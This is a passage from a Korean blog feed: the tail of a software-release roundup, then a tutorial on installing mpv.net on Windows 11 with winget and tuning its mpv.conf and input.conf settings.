&lt;li&gt;&lt;strong&gt;&lt;a href="http://electron.atom.io/"&gt;Electron&lt;/a&gt; v42.0.0&lt;/strong&gt; : 크로스 플랫폼 데스크톱 애플리케이션 플랫폼, &lt;a href="https://www.electronjs.org/blog/electron-42-0"&gt;릴리스 공지&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href="https://viaduct.airbnb.tech/"&gt;Viaduct&lt;/a&gt; v1.0.0&lt;/strong&gt; : GraphQL 데이터 지향 서비스 메시, &lt;a href="https://viaduct.airbnb.tech/blog/2026/05/13/viaduct-10-whats-new/"&gt;릴리스 공지&lt;/a&gt;, &lt;a href="https://medium.com/airbnb-engineering/viaduct-1-0-and-the-future-of-airbnbs-data-mesh-6bab4ec98b89"&gt;관련 글&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href="https://github.com/valkey-io/valkey-admin"&gt;Valkey Admin&lt;/a&gt; v1.0.0&lt;/strong&gt; : Valkey 어드민, &lt;a href="https://valkey.io/blog/introducing-valkey-admin-1-0-visual-cluster-management-for-valkey/"&gt;릴리스 공지&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href="https://bazel.build/"&gt;Bazel&lt;/a&gt; v8.7.0&lt;/strong&gt; : 빌드 도구, &lt;a href="https://github.com/bazelbuild/bazel/releases/tag/8.7.0"&gt;릴리스 공지&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href="https://oxc.rs/docs/guide/usage/linter.html"&gt;Oxlint&lt;/a&gt; v1.64.0&lt;/strong&gt; : JavaScript/TypeScript Linter, &lt;a href="https://github.com/oxc-project/oxc/releases/tag/apps_v1.64.0#oxlint-v1.64.0"&gt;릴리스 공지&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href="https://oxc.rs/docs/guide/usage/formatter.html"&gt;Oxfmt&lt;/a&gt; v0.49.0&lt;/strong&gt; : JavaScript/TypeScript 포매터, &lt;a href="https://github.com/oxc-project/oxc/releases/tag/apps_v1.64.0#oxfmt-v0.49.0"&gt;릴리스 공지&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href="http://nodejs.org/"&gt;Node.js&lt;/a&gt; v26.0.0 (Current)&lt;/strong&gt; : 자바스크립트 런타임, &lt;a href="https://nodejs.org/en/blog/release/v26.0.0"&gt;릴리스 공지&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;Temporal API 지원&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href="https://omarchy.org/"&gt;Omarchy&lt;/a&gt; v3.8.0&lt;/strong&gt; : DHH가 만든 Arch Linux의 Hyprland 설정, &lt;a href="https://github.com/basecamp/omarchy/releases/tag/v3.8.0"&gt;릴리스 공지&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href="https://pnpm.js.org/"&gt;pnpm&lt;/a&gt; v11.1.0&lt;/strong&gt; : Node.js 패키지 매니저, &lt;a href="https://github.com/pnpm/pnpm/releases/tag/v11.1.0"&gt;릴리스 공지&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href="https://tailwindcss.com/"&gt;Tailwind CSS&lt;/a&gt; v4.3.0&lt;/strong&gt; : CSS 프레임워크, &lt;a href="https://tailwindcss.com/blog/tailwindcss-v4-3"&gt;릴리스 공지&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href="https://clickhouse.com/"&gt;ClickHouse&lt;/a&gt; v26.4&lt;/strong&gt; : 컬럼형 데이터베이스, &lt;a href="https://clickhouse.com/blog/clickhouse-release-26-04"&gt;릴리스 공지&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href="https://astro.build/"&gt;astro&lt;/a&gt; v6.3&lt;/strong&gt; : JavaScript 웹 프레임워크, &lt;a href="https://astro.build/blog/astro-630/"&gt;릴리스 공지&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href="https://kyverno.io/"&gt;Kyverno&lt;/a&gt; v1.18&lt;/strong&gt; : Kubernetes 정책 엔진, &lt;a href="https://www.cncf.io/blog/2026/05/05/announcing-kyverno-release-1-18/"&gt;릴리스 공지&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href="https://zed.dev/"&gt;Zed&lt;/a&gt; v1.2.3&lt;/strong&gt; : 코드 에디터, &lt;a href="https://zed.dev/releases/stable/1.2.3"&gt;릴리스 공지&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href="https://www.terraform.io/"&gt;Terraform&lt;/a&gt; v1.15.0&lt;/strong&gt; : Infrastructure as Code 도구, &lt;a href="https://github.com/hashicorp/terraform/releases/tag/v1.15.0"&gt;릴리스 공지&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href="http://pytorch.org/"&gt;PyTorch&lt;/a&gt; v2.12.0&lt;/strong&gt; : Python 딥러닝 프레임워크, &lt;a href="https://pytorch.org/blog/pytorch-2-12-release-blog/"&gt;릴리스 공지&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;&lt;a href="https://blog.outsider.ne.kr/1793?commentInput=true#entry1793WriteComment"&gt;댓글 쓰기&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;</summary>
    <title>기술 뉴스 #294 : 26-05-16</title>
    <updated>2026-05-16T17:06:54+09:00</updated>
    <dc:date>2026-05-16T17:06:54+09:00</dc:date>
  </entry>
  <entry>
    <author>
      <name>sunyzero</name>
    </author>
    <content type="html">&lt;!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" "http://www.w3.org/TR/REC-html40/loose.dtd"&gt;
&lt;html&gt;&lt;body&gt;
&lt;p data-ke-size="size16"&gt;mpv.net은 mpv라는 동영상 플레이어의 윈도 프론트엔드로서 윈도11에서 성능이 좋은 동영상 플레이어다. 원래 mpv는 리눅스에서 많이 사용되지만 윈도에서도 많이 사용되는 편이다. mpv의 특징은 가볍고 빠른 점으로서 팟플레이어보다 실행 속도가 훨씬 빠른 편이다.&lt;/p&gt;
&lt;p data-ke-size="size16"&gt;참고로 동영상 플레이어는 플랫폼에 따라서 다음과 같은 프로그램들이 많이 사용된다.&lt;/p&gt;
&lt;ul style="list-style-type: disc;" data-ke-list-type="disc"&gt;
&lt;li&gt;리눅스 : mpv&lt;/li&gt;
&lt;li&gt;윈도 : 팟플레이어, mpv.net&lt;/li&gt;
&lt;li&gt;MacOS : IINA https://iina.io/&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size="size16"&gt; &lt;/p&gt;
&lt;h2 data-ke-size="size26"&gt;1. mpv.net의 설치&lt;/h2&gt;
&lt;p data-ke-size="size16"&gt;윈도 11에는 패키지 설치 프로그램인 winget이 설치되어있으므로 winget install mpv.net 명령으로 빠르게 설치할 수 있다. 아래는 winget으로 mpv.net 설치 명령을 내린 뒤 캡쳐한 화면이다.&lt;/p&gt;
&lt;pre id="code_1779026379034" class="bash" data-ke-language="bash" data-ke-type="codeblock"&gt;&lt;code&gt;PS C:\Users\SYKIM&amp;gt; winget install mpv.net
찾음 mpv.net [mpv.net] 버전 7.1.2.0
이 응용 프로그램의 라이선스는 그 소유자가 사용자에게 부여했습니다.
Microsoft는 타사 패키지에 대한 책임을 지지 않고 라이선스를 부여하지도 않습니다.
이 패키지에는 다음 종속성이 필요합니다.
  - 패키지
      Microsoft.DotNet.DesktopRuntime.10
(1/1) 찾음 Microsoft .NET Windows Desktop Runtime 10.0 [Microsoft.DotNet.DesktopRuntime.10] 버전 10.0.8
이 응용 프로그램의 라이선스는 그 소유자가 사용자에게 부여했습니다.
Microsoft는 타사 패키지에 대한 책임을 지지 않고 라이선스를 부여하지도 않습니다.
다운로드 중 https://builds.dotnet.microsoft.com/dotnet/WindowsDesktop/10.0.8/windowsdesktop-runtime-10.0.8-win-x64.exe
  ██████████████████████████████  57.1 MB / 57.1 MB
설치 관리자 해시를 확인했습니다.
패키지 설치를 시작하는 중...
설치 성공

다운로드 중 https://github.com/mpvnet-player/mpv.net/releases/download/v7.1.2.0/mpv.net-v7.1.2.0-setup-x64.exe
  ██████████████████████████████  36.2 MB / 36.2 MB
설치 관리자 해시를 확인했습니다.
패키지 설치를 시작하는 중...
설치 관리자가 관리자 권한으로 실행을 요청합니다. 프롬프트가 표시됩니다.
설치 성공&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size="size16"&gt; &lt;/p&gt;
&lt;h2 data-ke-size="size26"&gt;2. mpv.net의 실행 및 동영상 재상 방법&lt;/h2&gt;
&lt;p data-ke-size="size16"&gt;설치 후 프로그램 목록에 보면 mpv.net이 보일 것이다. mpv.net을 실행하고 동영상을 끌어다 놓으면 재생 된다. 마우스로 클릭해서 실행하거나 엔터로 실행하려면 파일 확장자를 연결해야 하는데, 제어판(설정)에서 직접 연결하거나 아니면 mpv.net 실행 후 아래 그림처럼 마우스 오른 버튼으로 메뉴를 띄우고, "Config - 시스템 설정 - 비디오 파일 연결 등록"을 실행해서 하면 된다.&lt;/p&gt;
&lt;p&gt;&lt;figure class="imageblock alignCenter" data-ke-mobilestyle="widthOrigin" data-filename="mpv dot net - 마우스 오른버튼 - 시스템설정 - 비디오 파일 연결 등록.png" data-origin-width="1080" data-origin-height="900"&gt;&lt;span data-url="https://blog.kakaocdn.net/dn/by73Ss/dJMcaiXBR3q/UAu9uQ0qv3VqoiYqlVhw20/img.png" data-phocus="https://blog.kakaocdn.net/dn/by73Ss/dJMcaiXBR3q/UAu9uQ0qv3VqoiYqlVhw20/img.png" data-alt="mpv.net 시스템 설정"&gt;&lt;img src="https://blog.kakaocdn.net/dn/by73Ss/dJMcaiXBR3q/UAu9uQ0qv3VqoiYqlVhw20/img.png" srcset="https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fby73Ss%2FdJMcaiXBR3q%2FUAu9uQ0qv3VqoiYqlVhw20%2Fimg.png" onerror="this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';" loading="lazy" width="1080" height="900" data-filename="mpv dot net - 마우스 오른버튼 - 시스템설정 - 비디오 파일 연결 등록.png" data-origin-width="1080" data-origin-height="900"&gt;&lt;/span&gt;&lt;figcaption&gt;mpv.net 시스템 설정&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size="size16"&gt; &lt;/p&gt;
&lt;h2 data-ke-size="size26"&gt;3. mpv.net의 환경 설정&lt;/h2&gt;
&lt;p data-ke-size="size16"&gt;mpv.net은 그냥 사용해도 별 문제는 없지만, 약간의 커스터마이징으로 더 성능을 끌어올리거나 편리하게 사용할 수 있다. 그런데 mpv처럼 mpv.net도 환경 설정이 2가지로 나뉘어져 있어서 각각 편집해야 한다. 우선 재생이나 여러가지 기능에 대한 것은 mpv.conf 파일에 저장되고, 단축키 같은 기능은 input.conf 파일에 설정한다. 이들의 설정 방법은 앞서 linux의 mpv에서도 잠깐 설명한 적이 있다.[1]&lt;/p&gt;
&lt;p data-ke-size="size16"&gt;&lt;a href="https://sunyzero.tistory.com/255" target="_blank" rel="noopener"&gt;2018.08.19 - [컴퓨터 관련/리눅스 데스크탑] - MPV 리눅스 미디어 플레이어 설정&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size="size16"&gt;mpv.conf 파일은 직접 text editor로 편집해도 되지만, "구성 편집기 표시"에서 GUI로 기능을 선택할 수도 있다. 그리고 input.conf도 "입력 편집기 표시"에서 GUI로 작업할 수도 있다. 하지만 여기서는 귀찮기 때문에 그냥 "mpv.conf 파일 편집"과 "input.conf 파일 편집" 메뉴로 직접 파일에 넣는 방법을 사용할 것이다.&lt;/p&gt;
&lt;p data-ke-size="size16"&gt; &lt;/p&gt;
&lt;h3 data-ke-size="size23"&gt;3.1. mpv.conf 파일 편집&lt;/h3&gt;
&lt;p&gt;&lt;figure class="imageblock alignCenter" data-ke-mobilestyle="widthOrigin" data-filename="mpv dot net - 마우스 오른버튼 config 설정 메뉴.png" data-origin-width="777" data-origin-height="772"&gt;&lt;span data-url="https://blog.kakaocdn.net/dn/n4M18/dJMcabYyPiP/wsVpB9XggHWLH5ve9A9AN1/img.png" data-phocus="https://blog.kakaocdn.net/dn/n4M18/dJMcabYyPiP/wsVpB9XggHWLH5ve9A9AN1/img.png"&gt;&lt;img src="https://blog.kakaocdn.net/dn/n4M18/dJMcabYyPiP/wsVpB9XggHWLH5ve9A9AN1/img.png" srcset="https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fn4M18%2FdJMcabYyPiP%2FwsVpB9XggHWLH5ve9A9AN1%2Fimg.png" onerror="this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';" loading="lazy" width="777" height="772" data-filename="mpv dot net - 마우스 오른버튼 config 설정 메뉴.png" data-origin-width="777" data-origin-height="772"&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size="size16"&gt;위 그림처럼 메뉴에서 "Config - mpv.conf 파일 편집"을 선택하면 편집기가 뜨고, 빈 파일이 보일 것이다. 처음에는 설정된 것이 없기 때문에 빈 파일이다. 여기에 아래와 같은 내용을 넣고 저장한다. &lt;/p&gt;
&lt;pre id="code_1779027224469" class="shell" data-ke-language="shell" data-ke-type="codeblock"&gt;&lt;code&gt;hwdec=auto
hwdec-codecs=all
vo=gpu-next
gpu-api=d3d11
border=no
autofit-larger=100

# 종료 할 때 창의 위치, 크기, 동영상 파일의 재생 위치 등을 기억하도록 하는 기능이다.
save-position-on-quit=yes
watch-later-options=window-pos,window-size,start

# 재생이 완료된 경우 창을 그대로 둔다. yes로 하면 다음 이름의 파일을 연속해서 재생해준다.
keep-open=always

keepaspect-window=no

# 오디오와 비디오 싱크가 안 맞을 때 비디오 프레임을 버려가며 맞춤
framedrop=yes
# 키프레임 버그 등으로 헤맬 때 디코더 성능을 최대로 끌어올림
vd-lavc-fast=yes
# 디코딩이 밀리면 프레임을 건너뛰어 싱크를 유지 (팟플레이어 방식)
framedrop=vo
# 탐색(Seek)할 때 정확한 프레임 대신 가장 가까운 키프레임으로 빠르게 이동
hr-seek=no

# 캐시 기능을 항상 켜기 (인터넷 스트리밍 및 로컬 파일 모두 적용)
cache=yes
# 캐시로 사용할 메모리 용량 설정 (예: 512MB / 컴퓨터 사양이 좋다면 1024MiB도 가능)
demuxer-max-bytes=1024MiB
# 뒤로 가기(Seek)할 때를 대비해 이미 지나간 영상도 캐시에 남겨둘 용량 (예: 100MB)
demuxer-max-back-bytes=200MiB

# 영상을 재생하기 전에 미리 초 단위로 읽어둘 분량 (예: 최소 5초, 최대 10초 분량)
cache-secs=10&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size="size16"&gt;간혹 nvidia GPU를 사용하는 경우 하드웨어 가속이 제대로 안되는 경우가 있는데, 이런 경우에는 1행의 hwdec를 hwdec=nvdec으로 변경하도록 한다.&lt;/p&gt;
&lt;p data-ke-size="size16"&gt;위 mpv.conf에는 대부분 설명을 달아두었지만, 다른 값으로 변경하려면 Ctrl + , 를 눌러서 GUI 화면에서 변경하면 된다.&lt;/p&gt;
&lt;p data-ke-size="size16"&gt; &lt;/p&gt;
&lt;h3 data-ke-size="size23"&gt;3.2. input.conf 파일 편집&lt;/h3&gt;
&lt;p data-ke-size="size16"&gt;기본키에 편리한 다른 단축키를 입히는 것이다. 본인은 마우스 휠과 asdw와 q, e키를 다음과 같이 매핑해서 사용하였다.&lt;/p&gt;
&lt;pre id="code_1779027790317" class="shell" data-ke-language="shell" data-ke-type="codeblock"&gt;&lt;code&gt;Wheel_up add volume +2
Wheel_down add volume -2
w no-osd seek -30 exact
s no-osd seek 30 exact
a no-osd seek -10 
d no-osd seek 10
e script-binding osc/visibility&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size="size16"&gt;마우스 휠을 움직이면 볼륨을 +2, -2하도록 했고, w를 누르면 30초 이전으로 이동하되, no-osd를 지정해서 화면 중간에 OSD 막대가 나오지 않도록 했다. 그리고 현재 어디까지 플레이했는지 시간 정보를 보기 위해 e키에 OSC 화면 메뉴를 토글하는 기능을 넣어두었으니 여러번 눌러보면 직관적으로 이해될 것이다.&lt;/p&gt;
&lt;p data-ke-size="size16"&gt;mpv.net은 리눅스의 mpv와 대부분의 설정이 호환되지만, 간혹 몇몇은 다르기도 했으므로 주의하여야 한다.&lt;/p&gt;
&lt;p data-ke-size="size16"&gt; &lt;/p&gt;
&lt;h2 data-ke-size="size26"&gt;4. 결론&lt;/h2&gt;
&lt;p data-ke-size="size16"&gt;mpv (혹은 mpv.net)는 진짜 가볍고 빠른 동영상 플레이어이므로 꼭 사용해보는 것을 추천한다.&lt;/p&gt;
&lt;p data-ke-size="size16"&gt; &lt;/p&gt;
&lt;h2 data-ke-size="size26"&gt;참조&lt;/h2&gt;
&lt;p data-ke-size="size16"&gt;[1] mpv 설정법, https://sunyzero.tistory.com/255&lt;/p&gt;
&lt;p data-ke-size="size16"&gt; &lt;/p&gt;
&lt;p data-ke-size="size16"&gt; &lt;/p&gt;
&lt;h2 data-ke-size="size26"&gt;히스토리&lt;/h2&gt;
&lt;p data-ke-size="size16"&gt;2026.05.17 초안.&lt;/p&gt;
&lt;/body&gt;&lt;/html&gt;
</content>
    <id>https://sunyzero.tistory.com/329</id>
    <link href="https://sunyzero.tistory.com/329"/>
    <summary type="html">&lt;p data-ke-size="size16"&gt;mpv.net은 mpv라는 동영상 플레이어의 윈도 프론트엔드로서 윈도11에서 성능이 좋은 동영상 플레이어다. 원래 mpv는&amp;nbsp;리눅스에서 많이 사용되지만 윈도에서도 많이 사용되는 편이다. mpv의 특징은 가볍고 빠른 점으로서 팟플레이어보다 실행 속도가 훨씬 빠른 편이다.&lt;/p&gt;
&lt;p data-ke-size="size16"&gt;참고로 동영상 플레이어는 플랫폼에 따라서 다음과 같은 프로그램들이 많이 사용된다.&lt;/p&gt;
&lt;ul style="list-style-type: disc;" data-ke-list-type="disc"&gt;
&lt;li&gt;리눅스 : mpv&lt;/li&gt;
&lt;li&gt;윈도 : 팟플레이어, mpv.net&lt;/li&gt;
&lt;li&gt;MacOS : IINA https://iina.io/&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size="size16"&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size="size26"&gt;1. mpv.net의 설치&lt;/h2&gt;
&lt;p data-ke-size="size16"&gt;윈도 11에는 패키지 설치 프로그램인 winget이 설치되어있으므로 winget install mpv.net 명령으로 빠르게 설치할 수 있다. 아래는 winget으로 mpv.net 설치 명령을 내린 뒤 캡쳐한 화면이다.&lt;/p&gt;
&lt;pre id="code_1779026379034" class="bash" data-ke-language="bash" data-ke-type="codeblock"&gt;&lt;code&gt;PS C:\Users\SYKIM&amp;gt; winget install mpv.net
찾음 mpv.net [mpv.net] 버전 7.1.2.0
이 응용 프로그램의 라이선스는 그 소유자가 사용자에게 부여했습니다.
Microsoft는 타사 패키지에 대한 책임을 지지 않고 라이선스를 부여하지도 않습니다.
이 패키지에는 다음 종속성이 필요합니다.
  - 패키지
      Microsoft.DotNet.DesktopRuntime.10
(1/1) 찾음 Microsoft .NET Windows Desktop Runtime 10.0 [Microsoft.DotNet.DesktopRuntime.10] 버전 10.0.8
이 응용 프로그램의 라이선스는 그 소유자가 사용자에게 부여했습니다.
Microsoft는 타사 패키지에 대한 책임을 지지 않고 라이선스를 부여하지도 않습니다.
다운로드 중 https://builds.dotnet.microsoft.com/dotnet/WindowsDesktop/10.0.8/windowsdesktop-runtime-10.0.8-win-x64.exe
  ██████████████████████████████  57.1 MB / 57.1 MB
설치 관리자 해시를 확인했습니다.
패키지 설치를 시작하는 중...
설치 성공

다운로드 중 https://github.com/mpvnet-player/mpv.net/releases/download/v7.1.2.0/mpv.net-v7.1.2.0-setup-x64.exe
  ██████████████████████████████  36.2 MB / 36.2 MB
설치 관리자 해시를 확인했습니다.
패키지 설치를 시작하는 중...
설치 관리자가 관리자 권한으로 실행을 요청합니다. 프롬프트가 표시됩니다.
설치 성공&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size="size16"&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size="size26"&gt;2. mpv.net의 실행 및 동영상 재상 방법&lt;/h2&gt;
&lt;p data-ke-size="size16"&gt;설치 후 프로그램 목록에 보면 mpv.net이 보일 것이다. mpv.net을 실행하고 동영상을 끌어다 놓으면 재생 된다. 마우스로 클릭해서 실행하거나 엔터로 실행하려면 파일 확장자를 연결해야 하는데, 제어판(설정)에서 직접 연결하거나 아니면 mpv.net 실행 후 아래 그림처럼 마우스 오른 버튼으로 메뉴를 띄우고, "Config - 시스템 설정 - 비디오 파일 연결 등록"을 실행해서 하면 된다.&lt;/p&gt;
&lt;p&gt;&lt;figure class="imageblock alignCenter" data-ke-mobileStyle="widthOrigin" data-filename="mpv dot net - 마우스 오른버튼 - 시스템설정 - 비디오 파일 연결 등록.png" data-origin-width="1080" data-origin-height="900"&gt;&lt;span data-url="https://blog.kakaocdn.net/dn/by73Ss/dJMcaiXBR3q/UAu9uQ0qv3VqoiYqlVhw20/img.png" data-phocus="https://blog.kakaocdn.net/dn/by73Ss/dJMcaiXBR3q/UAu9uQ0qv3VqoiYqlVhw20/img.png" data-alt="mpv.net 시스템 설정"&gt;&lt;img src="https://blog.kakaocdn.net/dn/by73Ss/dJMcaiXBR3q/UAu9uQ0qv3VqoiYqlVhw20/img.png" srcset="https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fby73Ss%2FdJMcaiXBR3q%2FUAu9uQ0qv3VqoiYqlVhw20%2Fimg.png" onerror="this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';" loading="lazy" width="1080" height="900" data-filename="mpv dot net - 마우스 오른버튼 - 시스템설정 - 비디오 파일 연결 등록.png" data-origin-width="1080" data-origin-height="900"/&gt;&lt;/span&gt;&lt;figcaption&gt;mpv.net 시스템 설정&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size="size16"&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size="size26"&gt;3. mpv.net의 환경 설정&lt;/h2&gt;
&lt;p data-ke-size="size16"&gt;mpv.net은 그냥 사용해도 별 문제는 없지만, 약간의 커스터마이징으로 더 성능을 끌어올리거나 편리하게 사용할 수 있다. 그런데 mpv처럼 mpv.net도 환경 설정이 2가지로 나뉘어져 있어서 각각 편집해야 한다. 우선 재생이나 여러가지 기능에 대한 것은 mpv.conf 파일에 저장되고, 단축키 같은 기능은 input.conf 파일에 설정한다. 이들의 설정 방법은 앞서 linux의 mpv에서도 잠깐 설명한 적이 있다.[1]&lt;/p&gt;
&lt;p data-ke-size="size16"&gt;&lt;a href="https://sunyzero.tistory.com/255" target="_blank" rel="noopener"&gt;2018.08.19 - [컴퓨터 관련/리눅스 데스크탑] - MPV 리눅스 미디어 플레이어 설정&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size="size16"&gt;mpv.conf 파일은 직접 text editor로 편집해도 되지만, "구성 편집기 표시"에서 GUI로 기능을 선택할 수도 있다. 그리고 input.conf도 "입력 편집기 표시"에서 GUI로 작업할 수도 있다. 하지만 여기서는 귀찮기 때문에 그냥 "mpv.conf 파일 편집"과 "input.conf 파일 편집" 메뉴로 직접 파일에 넣는 방법을 사용할 것이다.&lt;/p&gt;
&lt;p data-ke-size="size16"&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size="size23"&gt;3.1. mpv.conf 파일 편집&lt;/h3&gt;
&lt;p&gt;&lt;figure class="imageblock alignCenter" data-ke-mobileStyle="widthOrigin" data-filename="mpv dot net - 마우스 오른버튼 config 설정 메뉴.png" data-origin-width="777" data-origin-height="772"&gt;&lt;span data-url="https://blog.kakaocdn.net/dn/n4M18/dJMcabYyPiP/wsVpB9XggHWLH5ve9A9AN1/img.png" data-phocus="https://blog.kakaocdn.net/dn/n4M18/dJMcabYyPiP/wsVpB9XggHWLH5ve9A9AN1/img.png"&gt;&lt;img src="https://blog.kakaocdn.net/dn/n4M18/dJMcabYyPiP/wsVpB9XggHWLH5ve9A9AN1/img.png" srcset="https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fn4M18%2FdJMcabYyPiP%2FwsVpB9XggHWLH5ve9A9AN1%2Fimg.png" onerror="this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';" loading="lazy" width="777" height="772" data-filename="mpv dot net - 마우스 오른버튼 config 설정 메뉴.png" data-origin-width="777" data-origin-height="772"/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size="size16"&gt;위 그림처럼 메뉴에서 "Config - mpv.conf 파일 편집"을 선택하면 편집기가 뜨고, 빈 파일이 보일 것이다. 처음에는 설정된 것이 없기 때문에 빈 파일이다. 여기에 아래와 같은 내용을 넣고 저장한다.&amp;nbsp;&lt;/p&gt;
&lt;pre id="code_1779027224469" class="shell" data-ke-language="shell" data-ke-type="codeblock"&gt;&lt;code&gt;hwdec=auto
hwdec-codecs=all
vo=gpu-next
gpu-api=d3d11
border=no
autofit-larger=100

# 종료 할 때 창의 위치, 크기, 동영상 파일의 재생 위치 등을 기억하도록 하는 기능이다.
save-position-on-quit=yes
watch-later-options=window-pos,window-size,start

# 재생이 완료된 경우 창을 그대로 둔다. yes로 하면 다음 이름의 파일을 연속해서 재생해준다.
keep-open=always

keepaspect-window=no

# 오디오와 비디오 싱크가 안 맞을 때 비디오 프레임을 버려가며 맞춤
framedrop=yes
# 키프레임 버그 등으로 헤맬 때 디코더 성능을 최대로 끌어올림
vd-lavc-fast=yes
# 디코딩이 밀리면 프레임을 건너뛰어 싱크를 유지 (팟플레이어 방식)
framedrop=vo
# 탐색(Seek)할 때 정확한 프레임 대신 가장 가까운 키프레임으로 빠르게 이동
hr-seek=no

# 캐시 기능을 항상 켜기 (인터넷 스트리밍 및 로컬 파일 모두 적용)
cache=yes
# 캐시로 사용할 메모리 용량 설정 (예: 512MB / 컴퓨터 사양이 좋다면 1024MiB도 가능)
demuxer-max-bytes=1024MiB
# 뒤로 가기(Seek)할 때를 대비해 이미 지나간 영상도 캐시에 남겨둘 용량 (예: 100MB)
demuxer-max-back-bytes=200MiB

# 영상을 재생하기 전에 미리 초 단위로 읽어둘 분량 (예: 최소 5초, 최대 10초 분량)
cache-secs=10&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size="size16"&gt;간혹 nvidia GPU를 사용하는 경우 하드웨어 가속이 제대로 안되는 경우가 있는데, 이런 경우에는 1행의 hwdec를 hwdec=nvdec으로 변경하도록 한다.&lt;/p&gt;
&lt;p data-ke-size="size16"&gt;위 mpv.conf에는 대부분 설명을 달아두었지만, 다른 값으로 변경하려면 Ctrl + , 를 눌러서 GUI 화면에서 변경하면 된다.&lt;/p&gt;
&lt;p data-ke-size="size16"&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size="size23"&gt;3.2. input.conf 파일 편집&lt;/h3&gt;
&lt;p data-ke-size="size16"&gt;기본키에 편리한 다른 단축키를 입히는 것이다. 본인은 마우스 휠과 asdw와 q, e키를 다음과 같이 매핑해서 사용하였다.&lt;/p&gt;
&lt;pre id="code_1779027790317" class="shell" data-ke-language="shell" data-ke-type="codeblock"&gt;&lt;code&gt;Wheel_up add volume +2
Wheel_down add volume -2
w no-osd seek -30 exact
s no-osd seek 30 exact
a no-osd seek -10 
d no-osd seek 10
e script-binding osc/visibility&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size="size16"&gt;마우스 휠을 움직이면 볼륨을 +2, -2하도록 했고, w를 누르면 30초 이전으로 이동하되, no-osd를 지정해서 화면 중간에 OSD 막대가 나오지 않도록 했다. 그리고 현재 어디까지 플레이했는지 시간 정보를 보기 위해 e키에 OSC 화면 메뉴를 토글하는 기능을 넣어두었으니 여러번 눌러보면 직관적으로 이해될 것이다.&lt;/p&gt;
&lt;p data-ke-size="size16"&gt;mpv.net은 리눅스의 mpv와 대부분의 설정이 호환되지만, 간혹 몇몇은 다르기도 했으므로 주의하여야 한다.&lt;/p&gt;
&lt;p data-ke-size="size16"&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size="size26"&gt;4. 결론&lt;/h2&gt;
&lt;p data-ke-size="size16"&gt;mpv (혹은 mpv.net)는 진짜 가볍고 빠른 동영상 플레이어이므로 꼭 사용해보는 것을 추천한다.&lt;/p&gt;
&lt;p data-ke-size="size16"&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size="size26"&gt;참조&lt;/h2&gt;
